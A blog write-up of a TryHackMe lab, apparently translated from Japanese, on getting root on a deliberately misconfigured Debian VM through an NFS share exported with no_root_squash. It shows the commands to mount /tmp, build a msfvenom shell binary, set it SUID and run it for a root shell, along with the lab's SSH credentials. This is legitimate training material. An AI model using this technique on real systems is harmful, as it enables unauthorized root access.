[TryHackMe] Expanding privileges by misusing the no_root_squash on NFS mount! Linux PrivEsc Writeup Part9

This time, we will try "Elevation of Privilege Using the NFS Mount no_root_squash".

The target machine uses the Room below of TryHackMe.
"TryHackMe-Linux PrivEsc: https://tryhackme.com/room/linuxprivesc "

TryHackMe

Linux PrivEsc Practice your Linux Privilege Escalation skills on an intentionally missconfigured Debian VM with multiple ways to get root! SSH is available. Credentials: user:…

This article is part 9.
If you would like to check Writeup for Linux PrivEsc with TryHackMe, please also check Electronic privileges exploiting backups of history files, config files, and important files

You may also want to read

[TryHackMe] Expanding privilege escalation using backups of history files, config files, and important files! Linux... This time, we will try "Elevation of privileges by misusing backups of history files, config files, and important files." The target machine uses the Room below of TryHackMe...

Please note that the explanation is spoilers.

Recommended reference books

How to create a hacking lab: Learning experiences from hackers in virtual environments

Author: IPUSIRON

¥2,090 (As of 15:33 on 2025/07/13 | Amazon research)

See reviews

Amazon

＼Rakuten Points Sale! /

Rakuten Market

＼5% points back! /

Yahoo Shopping

Pochip

Hacker's School

Author: IPUSIRON

¥3,850 (As of 21:11 on 07/08/2025 | Amazon research)

See reviews

Amazon

＼Rakuten Points Sale! /

Rakuten Market

＼5% points back! /

Yahoo Shopping

Pochip

Cybersecurity Programming, 2nd Edition - Learning Hackers' Thoughts with Python

Author: Justin Seitz, Author: Tim Arnold, Supervised by: Mantani Nobutaka, Translation: Arai Yu, Translation: Kakara Hirosei, Translation: Murakami Ryo

¥3,520 (As of 12:26 on 07/09/2025 | Amazon research)

See reviews

Amazon

＼Rakuten Points Sale! /

Rakuten Market

＼5% points back! /

Yahoo Shopping

Pochip

Learning systematically how to create a secure web application, 2nd edition [Reflow edition] Principles that create vulnerabilities and practices of countermeasures

Author: Tokumaru Hiroshi

¥3,520 (As of 00:44 on 2025/07/12 | Amazon research)

See reviews

Amazon

＼Rakuten Points Sale! /

Rakuten Market

＼5% points back! /

Yahoo Shopping

Pochip

Preparation

First, start the target machine with Start Machine.

It's OK if IP Address is displayed.

This time, since it is escalated to privileges, I'll check to see where it can be connected via ssh.
Connect using "user/password321" as shown in TryHackMe.

┌──(hacklab㉿hacklab)-[~/tryhackme/linuxprv] └─$ ssh user@10.10.175.49 130 ⨯ user@10.10.175.49's password: Linux debian 2.6.32-5-amd64 #1 SMP Tue May 13 16:34:35 UTC 2014 x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Fri May 15 06:41:23 2020 from 192.168.1.125

NFS

Files created via NFS will inherit the remote user's ID.
If the user is root and root squash is enabled (no_root_squash is not specified), the ID will be set to "nobody" instead.
Conversely, if root squash is disabled (no_root_squash is specified), please note that you have the same level of access privileges as root.

By default, file requests made by root on a client machine are treated as being made by nobody on that server. However, if you select no_root_squash, the root on the client machine has the same level of access privileges as the root on the server.

Let's check the NFS sharing configuration for Debian VM.

user@debian:~$ cat /etc/exports # /etc/exports: the access control list for filesystems which may be exported # to NFS clients. See exports(5). # # Example for NFSv2 and NFSv3: # /srv/homes hostname1(rw,sync,no_subtree_check) hostname2(ro,sync,no_subtree_check) # # Example for NFSv4: # /srv/nfs4 gss/krb5i(rw,sync,fsid=0,crossmnt,no_subtree_check) # /srv/nfs4/homes gss/krb5i(rw,sync,no_subtree_check) # /tmp *(rw,sync,insecure,no_root_squash,no_subtree_check) #/tmp *(rw,sync,insecure,no_subtree_check)

Have you noticed that no_root_squash is specified in "/tmp"?
Next, we will exploit no_root_squash in "/tmp" to escalate privileges.

First, let's root the attack machine. (Even on the target machine, the same privileges as root on /tmp.)

┌──(hacklab㉿hacklab)-[~] └─$ sudo su ┌──(root💀hacklab)-[/home/hacklab] └─# 

Next, create a mount point on the attack machine and mount /tmp.

┌──(root💀hacklab)-[/home/hacklab] └─# mkdir /tmp/nfs ┌──(root💀hacklab)-[/home/hacklab] └─# mount -o rw,vers=3 10.10.175.49:/tmp /tmp/nfs

Next, use msfvenom to generate a payload that calls /bin/bash.
The generated payload will be saved in /tmp/nfs.

┌──(root💀hacklab)-[/home/hacklab] └─# msfvenom -p linux/x86/exec CMD="/bin/bash -p" -f elf -o /tmp/nfs/shell.elf [-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload [-] No arch selected, selecting arch: x86 from the payload No encoder specified, outputting raw payload Payload size: 48 bytes Final size of elf file: 132 bytes Saved as: /tmp/nfs/shell.elf

Grant SUID privileges so that once the target user executes it is run with owner privileges. (The root of the attack machine is considered the root of the target machine, and by granting SUID privileges, other users of the target machine can also be run with root privileges.)

┌──(root💀hacklab)-[/home/hacklab] └─# chmod +xs /tmp/nfs/shell.elf

Once you've done this, go back to the target machine and run the shell.elf you just saved.

user@debian:~$ /tmp/shell.elf bash-4.1# whoami root

I successfully obtained root privileges.

summary

This time, I tried "Privilege Elevation Using the NFS Mount no_root_squash."
Finally, did you notice that the issue of running with SUID privileges has arisen?

What is SUID permission? If you think so, please also refer to Electroduction using SUID/SGID executables

You may also want to read

[TryHackMe] Improvement of privileges using SUID/SGID executable files! Linux PrivEsc Writeup Part 7 This time, we will try "Elevation of privilege using SUID/SGID executables (excluding known exploits)." The target machine uses the Room below of TryHackMe. "TryHac...

References and Sites

--